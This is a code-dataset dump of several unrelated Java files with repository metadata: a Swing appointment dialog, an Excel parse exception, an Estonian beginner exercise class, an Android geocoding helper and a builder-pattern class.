private static final long serialVersionUID = 1L;
private final String[] hours = {"1","2","3","4","5","6","7","8","9","10","11","12"};
private final String[] mins = {"00","15","30","45"};
private final String[] ampm = {"AM","PM"};
double WIDTH_RATIO = 0.5; //Ratio this to main frame -- WIDTH
double HEIGHT_RATIO = 0.4; //Ratio this to main frame -- HEIGHT
double PANEL_RATIO = 0.2; //Ratio of setting the JPanels to fit
int POPUP_WIDTH; //Width of the popup
int POPUP_HEIGHT; //Height of the popup
Dimension POPUP_SIZE; //Dimension (WIDTH, HEIGHT)
Date selectedDate;
Timestamp castedDate;
UtilDateModel model;
JDatePanelImpl datePanel;
JDatePickerImpl datePicker;
JComboBox HOURS;
JComboBox MIN;
JComboBox AMPM;
JPanel TOP_PANEL; //Panel that will hold the JLabel for the LEAD NAME
JPanel CENTER_PANEL; //Panel that holds the Date and Time select
JPanel BOTTOM_PANEL; //Panel that holds the add note for appointment
JLabel LEAD_NAME; //Label that displays the name of the lead
JLabel CENTER_PANEL_DATE; //Label for the date selection
JLabel CENTER_PANEL_TIME; //Label for the time selection
JTextField CENTER_PANEL_DATE_SELECT; //Text field for the date selection
JTextField CENTER_PANEL_TIME_SELECT; //Text field fot the time selection
JLabel BOTTOM_PANEL_NOTE_LABEL; //Label for the appt notes
JTextArea BOTTOM_PANEL_NOTES; //JTextArea for the appt notes
JButton BOTTOM_PANEL_SUBMIT; //Submit button to submit the appt
JTextField field; //temp input for notes -- GET TEXT AREA TO SHOW
String APPOINTMENT_NOTE; //Note for the appointment
/* ----- DEFAULT CONSTRUCTOR ----- */
public AddAppointmentScreen(){
setSizes();
createPanels();
addPanels();
finalizePopUp();
}
private void setSizes(){ //Uses GUIManager to retrieve size of the screen and then adjusts using ratios
POPUP_WIDTH = (int) (GUIManager.getScreenWidth() * WIDTH_RATIO);
POPUP_HEIGHT = (int) (GUIManager.getScreenHeight() * HEIGHT_RATIO);
POPUP_SIZE = new Dimension(POPUP_WIDTH, POPUP_HEIGHT);
this.setSize(POPUP_SIZE); //sets the size of the popup screen
}
private void finalizePopUp(){
this.setResizable(false);
this.setDefaultCloseOperation(DISPOSE_ON_CLOSE);
this.setVisible(true);
}
private void createPanels(){
TOP_PANEL = new JPanel();
TOP_PANEL.setSize(POPUP_WIDTH, (int) (POPUP_HEIGHT * PANEL_RATIO));
TOP_PANEL.setMaximumSize(TOP_PANEL.getSize());
TOP_PANEL.setMinimumSize(TOP_PANEL.getSize());
//TOP_PANEL.setBorder(BorderFactory.createLineBorder(Color.BLACK));
populateTopPanel();
CENTER_PANEL = new JPanel();
CENTER_PANEL.setSize(POPUP_WIDTH, (int) (POPUP_HEIGHT * PANEL_RATIO));
CENTER_PANEL.setMaximumSize(CENTER_PANEL.getSize());
CENTER_PANEL.setMinimumSize(CENTER_PANEL.getSize());
//CENTER_PANEL.setBorder(BorderFactory.createLineBorder(Color.BLACK));
populateCenterPanel();
BOTTOM_PANEL = new JPanel();
BOTTOM_PANEL.setSize(POPUP_WIDTH, (int) (POPUP_HEIGHT * PANEL_RATIO * 2));
BOTTOM_PANEL.setMaximumSize(BOTTOM_PANEL.getSize());
BOTTOM_PANEL.setMinimumSize(BOTTOM_PANEL.getSize());
//BOTTOM_PANEL.setBorder(BorderFactory.createLineBorder(Color.BLACK));
populateBottomPanel();
}
private void populateTopPanel(){
LEAD_NAME = new JLabel();
LEAD_NAME.setText("Set Appointment For: " + FieldManager.getLEAD_NAME_FIRST() + " " + FieldManager.getLEAD_NAME_LAST());
TOP_PANEL.add(LEAD_NAME);
}
private void populateCenterPanel(){
model = new UtilDateModel();
Properties x = new Properties();
DateFormatter y= new DateFormatter();
datePanel = new JDatePanelImpl(model,x);
datePicker = new JDatePickerImpl(datePanel,y);
HOURS= new JComboBox<String>(hours);
MIN= new JComboBox<String>(mins);
AMPM= new JComboBox<String>(ampm);
CENTER_PANEL_DATE = new JLabel("Date: ");
//CENTER_PANEL_TIME = new JLabel("Time: ");
//CENTER_PANEL_DATE_SELECT = new JTextField(10);
//CENTER_PANEL_TIME_SELECT = new JTextField(10);
CENTER_PANEL.add(CENTER_PANEL_DATE);
CENTER_PANEL.add(datePicker);
CENTER_PANEL.add(HOURS);
CENTER_PANEL.add(MIN);
CENTER_PANEL.add(AMPM);
//CENTER_PANEL.add(CENTER_PANEL_TIME);
//CENTER_PANEL.add(CENTER_PANEL_TIME_SELECT);
}
private void populateBottomPanel(){
BOTTOM_PANEL_NOTE_LABEL = new JLabel("Appointment Note: ");
BOTTOM_PANEL_NOTES = new JTextArea(5,10);
field = new JTextField(30);
BOTTOM_PANEL_SUBMIT = new JButton("Submit");
BOTTOM_PANEL_SUBMIT.addActionListener(this);
GUIManager.createGridBagLayout();
GridBagLayout GBL = GUIManager.getGridBagLayout();
GUIManager.createGBC();
GridBagConstraints GBC = GUIManager.getGBC();
BOTTOM_PANEL.setLayout(GBL);
GBC.gridx = 0;
GBC.gridy = 0;
GBC.weightx = 1;
GBC.weighty = 1;
GBC.anchor = GridBagConstraints.FIRST_LINE_START;
BOTTOM_PANEL.add(BOTTOM_PANEL_NOTE_LABEL, GBC);
GBC.gridy = 1;
GBC.anchor = GridBagConstraints.CENTER;
BOTTOM_PANEL.add(field, GBC);
GBC.gridy = 2;
GBC.anchor = GridBagConstraints.LAST_LINE_END;
BOTTOM_PANEL.add(BOTTOM_PANEL_SUBMIT, GBC);
}
private void addPanels(){
BoxLayout box = new BoxLayout(getContentPane(),BoxLayout.Y_AXIS);
getContentPane().setLayout(box);
this.add(TOP_PANEL);
this.add(CENTER_PANEL);
this.add(BOTTOM_PANEL);
}
@Override
public void actionPerformed(ActionEvent e) {
String hour = (String) HOURS.getSelectedItem();
String min = (String) MIN.getSelectedItem();
String ampm2 = (String) AMPM.getSelectedItem();
if(ampm2.equals("PM")){
hour =""+(Integer.parseInt(hour)+12);
}
selectedDate= (Date) datePicker.getModel().getValue();
castedDate=new Timestamp(selectedDate.getTime());
castedDate.setHours(Integer.parseInt(hour));
castedDate.setMinutes(Integer.parseInt(min));
APPOINTMENT_NOTE = field.getText();
FieldManager.addAppointment(APPOINTMENT_NOTE,castedDate,ampm2);
this.dispose();
}
}
| UTF-8 | Java | 6,749 | java | AddAppointmentScreen.java | Java | [] | null | [] |
package GUI.Appointments;
import java.awt.Dimension;
import java.awt.GridBagConstraints;
import java.awt.GridBagLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.util.Date;
import java.sql.Timestamp;
import java.util.Properties;
import javax.swing.BoxLayout;
import javax.swing.JButton;
import javax.swing.JComboBox;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JSpinner;
import javax.swing.JTextArea;
import javax.swing.JTextField;
import javax.swing.SpinnerDateModel;
import org.jdatepicker.impl.JDatePanelImpl;
import org.jdatepicker.impl.JDatePickerImpl;
import org.jdatepicker.impl.UtilDateModel;
import Engine.FieldManager;
import GUI.GUIManager;
public class AddAppointmentScreen extends JFrame implements ActionListener {
private static final long serialVersionUID = 1L;
private final String[] hours = {"1","2","3","4","5","6","7","8","9","10","11","12"};
private final String[] mins = {"00","15","30","45"};
private final String[] ampm = {"AM","PM"};
double WIDTH_RATIO = 0.5; //Ratio this to main frame -- WIDTH
double HEIGHT_RATIO = 0.4; //Ratio this to main frame -- HEIGHT
double PANEL_RATIO = 0.2; //Ratio of setting the JPanels to fit
int POPUP_WIDTH; //Width of the popup
int POPUP_HEIGHT; //Height of the popup
Dimension POPUP_SIZE; //Dimension (WIDTH, HEIGHT)
Date selectedDate;
Timestamp castedDate;
UtilDateModel model;
JDatePanelImpl datePanel;
JDatePickerImpl datePicker;
JComboBox HOURS;
JComboBox MIN;
JComboBox AMPM;
JPanel TOP_PANEL; //Panel that will hold the JLabel for the LEAD NAME
JPanel CENTER_PANEL; //Panel that holds the Date and Time select
JPanel BOTTOM_PANEL; //Panel that holds the add note for appointment
JLabel LEAD_NAME; //Label that displays the name of the lead
JLabel CENTER_PANEL_DATE; //Label for the date selection
JLabel CENTER_PANEL_TIME; //Label for the time selection
JTextField CENTER_PANEL_DATE_SELECT; //Text field for the date selection
JTextField CENTER_PANEL_TIME_SELECT; //Text field fot the time selection
JLabel BOTTOM_PANEL_NOTE_LABEL; //Label for the appt notes
JTextArea BOTTOM_PANEL_NOTES; //JTextArea for the appt notes
JButton BOTTOM_PANEL_SUBMIT; //Submit button to submit the appt
JTextField field; //temp input for notes -- GET TEXT AREA TO SHOW
String APPOINTMENT_NOTE; //Note for the appointment
/* ----- DEFAULT CONSTRUCTOR ----- */
public AddAppointmentScreen(){
setSizes();
createPanels();
addPanels();
finalizePopUp();
}
private void setSizes(){ //Uses GUIManager to retrieve size of the screen and then adjusts using ratios
POPUP_WIDTH = (int) (GUIManager.getScreenWidth() * WIDTH_RATIO);
POPUP_HEIGHT = (int) (GUIManager.getScreenHeight() * HEIGHT_RATIO);
POPUP_SIZE = new Dimension(POPUP_WIDTH, POPUP_HEIGHT);
this.setSize(POPUP_SIZE); //sets the size of the popup screen
}
private void finalizePopUp(){
this.setResizable(false);
this.setDefaultCloseOperation(DISPOSE_ON_CLOSE);
this.setVisible(true);
}
private void createPanels(){
TOP_PANEL = new JPanel();
TOP_PANEL.setSize(POPUP_WIDTH, (int) (POPUP_HEIGHT * PANEL_RATIO));
TOP_PANEL.setMaximumSize(TOP_PANEL.getSize());
TOP_PANEL.setMinimumSize(TOP_PANEL.getSize());
//TOP_PANEL.setBorder(BorderFactory.createLineBorder(Color.BLACK));
populateTopPanel();
CENTER_PANEL = new JPanel();
CENTER_PANEL.setSize(POPUP_WIDTH, (int) (POPUP_HEIGHT * PANEL_RATIO));
CENTER_PANEL.setMaximumSize(CENTER_PANEL.getSize());
CENTER_PANEL.setMinimumSize(CENTER_PANEL.getSize());
//CENTER_PANEL.setBorder(BorderFactory.createLineBorder(Color.BLACK));
populateCenterPanel();
BOTTOM_PANEL = new JPanel();
BOTTOM_PANEL.setSize(POPUP_WIDTH, (int) (POPUP_HEIGHT * PANEL_RATIO * 2));
BOTTOM_PANEL.setMaximumSize(BOTTOM_PANEL.getSize());
BOTTOM_PANEL.setMinimumSize(BOTTOM_PANEL.getSize());
//BOTTOM_PANEL.setBorder(BorderFactory.createLineBorder(Color.BLACK));
populateBottomPanel();
}
private void populateTopPanel(){
LEAD_NAME = new JLabel();
LEAD_NAME.setText("Set Appointment For: " + FieldManager.getLEAD_NAME_FIRST() + " " + FieldManager.getLEAD_NAME_LAST());
TOP_PANEL.add(LEAD_NAME);
}
private void populateCenterPanel(){
model = new UtilDateModel();
Properties x = new Properties();
DateFormatter y= new DateFormatter();
datePanel = new JDatePanelImpl(model,x);
datePicker = new JDatePickerImpl(datePanel,y);
HOURS= new JComboBox<String>(hours);
MIN= new JComboBox<String>(mins);
AMPM= new JComboBox<String>(ampm);
CENTER_PANEL_DATE = new JLabel("Date: ");
//CENTER_PANEL_TIME = new JLabel("Time: ");
//CENTER_PANEL_DATE_SELECT = new JTextField(10);
//CENTER_PANEL_TIME_SELECT = new JTextField(10);
CENTER_PANEL.add(CENTER_PANEL_DATE);
CENTER_PANEL.add(datePicker);
CENTER_PANEL.add(HOURS);
CENTER_PANEL.add(MIN);
CENTER_PANEL.add(AMPM);
//CENTER_PANEL.add(CENTER_PANEL_TIME);
//CENTER_PANEL.add(CENTER_PANEL_TIME_SELECT);
}
private void populateBottomPanel(){
BOTTOM_PANEL_NOTE_LABEL = new JLabel("Appointment Note: ");
BOTTOM_PANEL_NOTES = new JTextArea(5,10);
field = new JTextField(30);
BOTTOM_PANEL_SUBMIT = new JButton("Submit");
BOTTOM_PANEL_SUBMIT.addActionListener(this);
GUIManager.createGridBagLayout();
GridBagLayout GBL = GUIManager.getGridBagLayout();
GUIManager.createGBC();
GridBagConstraints GBC = GUIManager.getGBC();
BOTTOM_PANEL.setLayout(GBL);
GBC.gridx = 0;
GBC.gridy = 0;
GBC.weightx = 1;
GBC.weighty = 1;
GBC.anchor = GridBagConstraints.FIRST_LINE_START;
BOTTOM_PANEL.add(BOTTOM_PANEL_NOTE_LABEL, GBC);
GBC.gridy = 1;
GBC.anchor = GridBagConstraints.CENTER;
BOTTOM_PANEL.add(field, GBC);
GBC.gridy = 2;
GBC.anchor = GridBagConstraints.LAST_LINE_END;
BOTTOM_PANEL.add(BOTTOM_PANEL_SUBMIT, GBC);
}
private void addPanels(){
BoxLayout box = new BoxLayout(getContentPane(),BoxLayout.Y_AXIS);
getContentPane().setLayout(box);
this.add(TOP_PANEL);
this.add(CENTER_PANEL);
this.add(BOTTOM_PANEL);
}
@Override
public void actionPerformed(ActionEvent e) {
String hour = (String) HOURS.getSelectedItem();
String min = (String) MIN.getSelectedItem();
String ampm2 = (String) AMPM.getSelectedItem();
if(ampm2.equals("PM")){
hour =""+(Integer.parseInt(hour)+12);
}
selectedDate= (Date) datePicker.getModel().getValue();
castedDate=new Timestamp(selectedDate.getTime());
castedDate.setHours(Integer.parseInt(hour));
castedDate.setMinutes(Integer.parseInt(min));
APPOINTMENT_NOTE = field.getText();
FieldManager.addAppointment(APPOINTMENT_NOTE,castedDate,ampm2);
this.dispose();
}
}
| 6,749 | 0.733738 | 0.726182 | 204 | 32.07843 | 23.378256 | 122 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 2.186275 | false | false | 15 |
89e65955b43a40c0bbcf361f8820dec7e2d712e7 | 13,726,715,528,004 | 034416becb36f4a9922053daf5f1175349a2843f | /mmall-framework/src/main/java/com/xyl/mmall/excelparse/ExcelParseExeption.java | 6be4b35d578b2a2dc22b5e52b09daa109408241b | [] | no_license | timgle/utilcode | https://github.com/timgle/utilcode | 40ee8d05e96ac324f452fccb412e07b4465e5345 | a8c81c90ec1965d45589dd7be8d2c8b0991a6b6a | refs/heads/master | 2021-05-09T22:39:11.417000 | 2016-03-20T14:30:52 | 2016-03-20T14:30:52 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.xyl.mmall.excelparse;
import java.util.List;
public class ExcelParseExeption extends Exception {
/**
*
*/
private static final long serialVersionUID = -376677149832252110L;
private List<ExcelParseExceptionInfo> infoList;
public ExcelParseExeption(List<ExcelParseExceptionInfo> infoList) {
super();
this.infoList = infoList;
}
public List<ExcelParseExceptionInfo> getInfoList() {
return infoList;
}
public void setInfoList(List<ExcelParseExceptionInfo> infoList) {
this.infoList = infoList;
}
}
| UTF-8 | Java | 535 | java | ExcelParseExeption.java | Java | [] | null | [] | package com.xyl.mmall.excelparse;
import java.util.List;
public class ExcelParseExeption extends Exception {
/**
*
*/
private static final long serialVersionUID = -376677149832252110L;
private List<ExcelParseExceptionInfo> infoList;
public ExcelParseExeption(List<ExcelParseExceptionInfo> infoList) {
super();
this.infoList = infoList;
}
public List<ExcelParseExceptionInfo> getInfoList() {
return infoList;
}
public void setInfoList(List<ExcelParseExceptionInfo> infoList) {
this.infoList = infoList;
}
}
| 535 | 0.762617 | 0.728972 | 26 | 19.576923 | 23.80558 | 68 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.038462 | false | false | 15 |
af4bb3c4284a6f199fdb74f43142eba0f1dc32b2 | 14,620,068,716,649 | 592daae93b52887eebed8fcd0e6e2704421b1228 | /src/main/java/ee/bcs/valiit/tasks/Lesson3.java | eb43cdbd99763c5c4450617ca488be1de1a48941 | [] | no_license | kadrigreen/Vali-It | https://github.com/kadrigreen/Vali-It | c18d030c4f5d96554276b585dcc329e5cb5984ac | dc5181c2614548fd5d5bfc5cfa67c1992e6f7f6c | refs/heads/master | 2023-04-09T06:08:59.478000 | 2021-04-28T12:19:36 | 2021-04-28T12:19:36 | 357,205,159 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package ee.bcs.valiit.tasks;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
public class Lesson3 {
public static void main(String[] args) {
//System.out.println("Faktoriaal " + factorial(5));
//System.out.println("Tagurpidi String " + reverseString("abcd"));
System.out.println("1 Prime Number " + isPrime(1));
System.out.println("2 Prime Number " + isPrime(2));
System.out.println("937 Prime Number " + isPrime(937));
System.out.println("217 Prime Number " + isPrime(217));
System.out.println("60 Prime Number " + isPrime(60));
int[] testArray = {8, 2, 5, 1, 9, 3};
System.out.println("Massiiv suuruse järjekorras on " + Arrays.toString(sort(testArray)));
System.out.println("Paaris Fibonacci jada arvude summa on " + evenFibonacci(10));
System.out.println("Morsekoodis sos " + morseCode("sos"));
}
// TODO tagasta x faktoriaal.
// Näiteks
// x = 5
// return 5*4*3*2*1 = 120
public static int factorial(int x) {
int sum = 1;
for (int i = 1; i <= x; i++) {
sum *= i;
}
return sum;
}
// TODO tagasta string tagurpidi
public static String reverseString(String a) {
String tagurpidi = "";
for (int i = a.length() - 1; i >= 0; i--) { //tsükkel 3 kuni 0
tagurpidi += a.charAt(i);
}
return tagurpidi;
}
// TODO tagasta kas sisestatud arv on primaar arv (jagub ainult 1 ja iseendaga)
public static boolean isPrime(int x) {
if (x == 0 || x == 1) {
return false;
} else {
for (int i = 2; i <= x; i++) { //tsükkel 2 kuni x // i<= Math.sqrt(x)
//2, 3, 4, 5
if (x % i == 0) { //kui x jagatud iseendaga on jääk 0, tähendab on prime number
return false;
} else { // kõik ülejäänud variandid, ei ole prime number
return true;
}
}
}
return true; // false???
}
// TODO sorteeri massiiv suuruse järgi.
// TODO kasuta tsükleid, ära kasuta ühtegi olemasolevat sort funktsiooni
public static int[] sort(int[] a) {
for (int i = 0; i < a.length; i++) { //tsükkel käib kuni a massiivi pikkuseni
// väärtused 8, 2, 5, 1, 9, 3
// i näitab indexit 0, 1, 2, 3, 4, 5
// väärtused 2, 5, 1, 9, 3
for (int j = i + 1; j < a.length; j++) { // sisemine tsükkel käib 1, 2, 3, 4, 5
if (a[i] > a[j]) { // kui a väärtusel 0 on suurem kui a väärtusel 1 ehk 8 > 2,
int uus = a[i]; // uus muutuja on 8
a[i] = a[j]; // 8=2
a[j] = uus; // uus=2
}
}
}
return a;
//
}
public static int evenFibonacci(int x) {
// TODO liida kokku kõik paaris fibonacci arvud kuni numbrini x
int fib1 = 0;
int fib2 = 1;
int sum = 0;
while (fib2 <= x) {
int fib3 = fib1;
fib1 = fib2;
fib2 = fib3 + fib2;
if (fib1 % 2 == 0) {
sum += fib1;
}
}
return sum;
}
public static String morseCode(String text) {
// TODO kirjuta programm, mis tagastab sisestatud teksti morse koodis (https://en.wikipedia.org/wiki/Morse_code)
// Kasuta sümboleid . ja - ning eralda kõik tähed tühikuga
Map<Character, String> morseKood = new HashMap<>();
morseKood.put('s', "...");
morseKood.put('o', "---");
morseKood.put('h', "....");
morseKood.put('e', ".");
morseKood.put('l', ".-..");
String a = ""; //määra muutujale a väärtus
for (int i = 0; i <= text.length(); i++) { // tsükkel nullist kuni sisend teksti pikkuseni
char c = text.charAt(i); // uus muutuja c, mille väärtuseks on
// sisend stringi positsioon i-st
a = a + morseKood.get(c) + ""; // muutuja a saab väärtuse
}
return a.trim(); // .trim eemaldab segavad tühikud
}
}
| UTF-8 | Java | 4,347 | java | Lesson3.java | Java | [] | null | [] | package ee.bcs.valiit.tasks;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
public class Lesson3 {
public static void main(String[] args) {
//System.out.println("Faktoriaal " + factorial(5));
//System.out.println("Tagurpidi String " + reverseString("abcd"));
System.out.println("1 Prime Number " + isPrime(1));
System.out.println("2 Prime Number " + isPrime(2));
System.out.println("937 Prime Number " + isPrime(937));
System.out.println("217 Prime Number " + isPrime(217));
System.out.println("60 Prime Number " + isPrime(60));
int[] testArray = {8, 2, 5, 1, 9, 3};
System.out.println("Massiiv suuruse järjekorras on " + Arrays.toString(sort(testArray)));
System.out.println("Paaris Fibonacci jada arvude summa on " + evenFibonacci(10));
System.out.println("Morsekoodis sos " + morseCode("sos"));
}
// TODO tagasta x faktoriaal.
// Näiteks
// x = 5
// return 5*4*3*2*1 = 120
public static int factorial(int x) {
int sum = 1;
for (int i = 1; i <= x; i++) {
sum *= i;
}
return sum;
}
// TODO tagasta string tagurpidi
public static String reverseString(String a) {
String tagurpidi = "";
for (int i = a.length() - 1; i >= 0; i--) { //tsükkel 3 kuni 0
tagurpidi += a.charAt(i);
}
return tagurpidi;
}
// TODO tagasta kas sisestatud arv on primaar arv (jagub ainult 1 ja iseendaga)
public static boolean isPrime(int x) {
if (x == 0 || x == 1) {
return false;
} else {
for (int i = 2; i <= x; i++) { //tsükkel 2 kuni x // i<= Math.sqrt(x)
//2, 3, 4, 5
if (x % i == 0) { //kui x jagatud iseendaga on jääk 0, tähendab on prime number
return false;
} else { // kõik ülejäänud variandid, ei ole prime number
return true;
}
}
}
return true; // false???
}
// TODO sorteeri massiiv suuruse järgi.
// TODO kasuta tsükleid, ära kasuta ühtegi olemasolevat sort funktsiooni
public static int[] sort(int[] a) {
for (int i = 0; i < a.length; i++) { //tsükkel käib kuni a massiivi pikkuseni
// väärtused 8, 2, 5, 1, 9, 3
// i näitab indexit 0, 1, 2, 3, 4, 5
// väärtused 2, 5, 1, 9, 3
for (int j = i + 1; j < a.length; j++) { // sisemine tsükkel käib 1, 2, 3, 4, 5
if (a[i] > a[j]) { // kui a väärtusel 0 on suurem kui a väärtusel 1 ehk 8 > 2,
int uus = a[i]; // uus muutuja on 8
a[i] = a[j]; // 8=2
a[j] = uus; // uus=2
}
}
}
return a;
//
}
public static int evenFibonacci(int x) {
// TODO liida kokku kõik paaris fibonacci arvud kuni numbrini x
int fib1 = 0;
int fib2 = 1;
int sum = 0;
while (fib2 <= x) {
int fib3 = fib1;
fib1 = fib2;
fib2 = fib3 + fib2;
if (fib1 % 2 == 0) {
sum += fib1;
}
}
return sum;
}
public static String morseCode(String text) {
// TODO kirjuta programm, mis tagastab sisestatud teksti morse koodis (https://en.wikipedia.org/wiki/Morse_code)
// Kasuta sümboleid . ja - ning eralda kõik tähed tühikuga
Map<Character, String> morseKood = new HashMap<>();
morseKood.put('s', "...");
morseKood.put('o', "---");
morseKood.put('h', "....");
morseKood.put('e', ".");
morseKood.put('l', ".-..");
String a = ""; //määra muutujale a väärtus
for (int i = 0; i <= text.length(); i++) { // tsükkel nullist kuni sisend teksti pikkuseni
char c = text.charAt(i); // uus muutuja c, mille väärtuseks on
// sisend stringi positsioon i-st
a = a + morseKood.get(c) + ""; // muutuja a saab väärtuse
}
return a.trim(); // .trim eemaldab segavad tühikud
}
}
| 4,347 | 0.497677 | 0.473048 | 124 | 33.709679 | 29.058554 | 120 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.798387 | false | false | 15 |
955f32c1173e73f61ab3a3ee1e903a61514f4c86 | 31,731,218,418,778 | ad8ea6177c4f7dab4b474cc05c33dcf44b0081f7 | /MacYorumAndroid/app/src/main/java/mac/yorum/android/app/helpers/ValidationHelper.java | 1525871740371e1f284735ac64b2b9a0d7d2f071 | [] | no_license | gokhn/McYrmcAndrd | https://github.com/gokhn/McYrmcAndrd | def1b164c6fac89dcbab3756aa760f7b654e9d36 | 963c7c3afd44afe06a38ef8cf776419383f87eba | refs/heads/master | 2020-04-12T23:11:04.535000 | 2019-02-20T20:56:02 | 2019-02-20T20:56:02 | 162,811,271 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package mac.yorum.android.app.helpers;
import android.content.Context;
import android.location.Address;
import android.location.Geocoder;
import android.view.View;
import android.view.ViewGroup;
import android.view.ViewGroup.LayoutParams;
import android.widget.ListAdapter;
import android.widget.ListView;
import java.io.IOException;
import java.util.List;
public class ValidationHelper {
public static boolean isStringOrEmpty(String value)
{
if(value == null) return true;
else if(value.equals("")) return true;
else if(value.equals("null")) return true;
else return false;
}
public static boolean isStringHasValue(String value)
{
return !isStringOrEmpty(value);
}
public static String getAdressInfo(Context mContext, double latitude, double longitude)
{
Geocoder gCoder = new Geocoder(mContext);
StringBuilder stringBuilder = new StringBuilder();
List<Address> addresses;
try {
addresses = gCoder.getFromLocation(latitude, longitude, 1);
if (addresses != null && addresses.size() > 0) {
stringBuilder = new StringBuilder();
if (addresses.get(0).getThoroughfare() != null) {
stringBuilder.append(addresses.get(0).getThoroughfare());
stringBuilder.append(", ");
}
if (addresses.get(0).getSubThoroughfare() != null) {
stringBuilder.append("No:"+ addresses.get(0).getSubThoroughfare());
stringBuilder.append(", ");
}
if (addresses.get(0).getSubLocality() != null) {
stringBuilder.append(addresses.get(0).getSubLocality());
stringBuilder.append(", ");
}
if(addresses.get(0).getSubAdminArea() != null)
{
stringBuilder.append(addresses.get(0).getSubAdminArea());
stringBuilder.append(", ");
}
if (addresses.get(0).getAdminArea() != null) {
stringBuilder.append(addresses.get(0).getAdminArea());
stringBuilder.append(", ");
}
if(addresses.get(0).getCountryName() != null){
stringBuilder.append(addresses.get(0).getCountryName());
}
}
else
{
stringBuilder.append("");
}
} catch (IOException | NullPointerException e) {
e.printStackTrace();
}
return stringBuilder.toString();
}
public static void setListViewHeight(ListView listView)
{
ListAdapter listAdapter = listView.getAdapter();
if (listAdapter == null) return;
int totalHeight = listView.getPaddingTop() + listView.getPaddingBottom();
for (int i = 0; i < listAdapter.getCount(); i++) {
View listItem = listAdapter.getView(i, null, listView);
if (listItem instanceof ViewGroup) {
listItem.setLayoutParams(new LayoutParams(LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT));
}
listItem.measure(0, 0);
totalHeight += listItem.getMeasuredHeight();
}
LayoutParams params = listView.getLayoutParams();
params.height = totalHeight + (listView.getDividerHeight() * (listAdapter.getCount() - 1));
listView.setLayoutParams(params);
}
}
| UTF-8 | Java | 3,061 | java | ValidationHelper.java | Java | [] | null | [] | package mac.yorum.android.app.helpers;
import android.content.Context;
import android.location.Address;
import android.location.Geocoder;
import android.view.View;
import android.view.ViewGroup;
import android.view.ViewGroup.LayoutParams;
import android.widget.ListAdapter;
import android.widget.ListView;
import java.io.IOException;
import java.util.List;
public class ValidationHelper {
public static boolean isStringOrEmpty(String value)
{
if(value == null) return true;
else if(value.equals("")) return true;
else if(value.equals("null")) return true;
else return false;
}
public static boolean isStringHasValue(String value)
{
return !isStringOrEmpty(value);
}
public static String getAdressInfo(Context mContext, double latitude, double longitude)
{
Geocoder gCoder = new Geocoder(mContext);
StringBuilder stringBuilder = new StringBuilder();
List<Address> addresses;
try {
addresses = gCoder.getFromLocation(latitude, longitude, 1);
if (addresses != null && addresses.size() > 0) {
stringBuilder = new StringBuilder();
if (addresses.get(0).getThoroughfare() != null) {
stringBuilder.append(addresses.get(0).getThoroughfare());
stringBuilder.append(", ");
}
if (addresses.get(0).getSubThoroughfare() != null) {
stringBuilder.append("No:"+ addresses.get(0).getSubThoroughfare());
stringBuilder.append(", ");
}
if (addresses.get(0).getSubLocality() != null) {
stringBuilder.append(addresses.get(0).getSubLocality());
stringBuilder.append(", ");
}
if(addresses.get(0).getSubAdminArea() != null)
{
stringBuilder.append(addresses.get(0).getSubAdminArea());
stringBuilder.append(", ");
}
if (addresses.get(0).getAdminArea() != null) {
stringBuilder.append(addresses.get(0).getAdminArea());
stringBuilder.append(", ");
}
if(addresses.get(0).getCountryName() != null){
stringBuilder.append(addresses.get(0).getCountryName());
}
}
else
{
stringBuilder.append("");
}
} catch (IOException | NullPointerException e) {
e.printStackTrace();
}
return stringBuilder.toString();
}
public static void setListViewHeight(ListView listView)
{
ListAdapter listAdapter = listView.getAdapter();
if (listAdapter == null) return;
int totalHeight = listView.getPaddingTop() + listView.getPaddingBottom();
for (int i = 0; i < listAdapter.getCount(); i++) {
View listItem = listAdapter.getView(i, null, listView);
if (listItem instanceof ViewGroup) {
listItem.setLayoutParams(new LayoutParams(LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT));
}
listItem.measure(0, 0);
totalHeight += listItem.getMeasuredHeight();
}
LayoutParams params = listView.getLayoutParams();
params.height = totalHeight + (listView.getDividerHeight() * (listAdapter.getCount() - 1));
listView.setLayoutParams(params);
}
}
| 3,061 | 0.667756 | 0.661875 | 98 | 30.234694 | 26.34845 | 116 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 2.428571 | false | false | 15 |
581b8db6eff150f9f29054ffebae1246da1f8e1b | 30,391,188,616,526 | a578703ba5cef885d56cad65f16170422f535748 | /src/main/java/com/ancbro/creational/builder/ConcreteProductABuilder.java | 0a4157b89a8c7995892813d1a8617ef80f41d460 | [] | no_license | ancbro/oo-design-patterns | https://github.com/ancbro/oo-design-patterns | 65a6b61fb0c2ec044c7dfbb3c857ae059d6903d8 | c3a288bd298147a92bc935e2664a63a8942d0b74 | refs/heads/master | 2020-03-31T06:55:26.168000 | 2019-05-19T00:44:23 | 2019-05-19T00:44:23 | 152,000,324 | 0 | 0 | null | false | 2020-11-08T23:18:18 | 2018-10-08T01:10:10 | 2020-10-19T22:45:23 | 2020-11-08T23:18:17 | 54 | 0 | 0 | 0 | Java | false | false | package com.ancbro.creational.builder;
import com.ancbro.creational.factory_method.ConcreteProduct;
import com.ancbro.creational.factory_method.Product;
public class ConcreteProductABuilder implements Builder {
private Product product;
ConcreteProductABuilder() {
this.product = new ConcreteProduct();
}
@Override
public Product build() {
return this.product;
}
@Override
public Builder withName(String name) {
product.setProductName(name);
return this;
}
}
| UTF-8 | Java | 532 | java | ConcreteProductABuilder.java | Java | [] | null | [] | package com.ancbro.creational.builder;
import com.ancbro.creational.factory_method.ConcreteProduct;
import com.ancbro.creational.factory_method.Product;
public class ConcreteProductABuilder implements Builder {
private Product product;
ConcreteProductABuilder() {
this.product = new ConcreteProduct();
}
@Override
public Product build() {
return this.product;
}
@Override
public Builder withName(String name) {
product.setProductName(name);
return this;
}
}
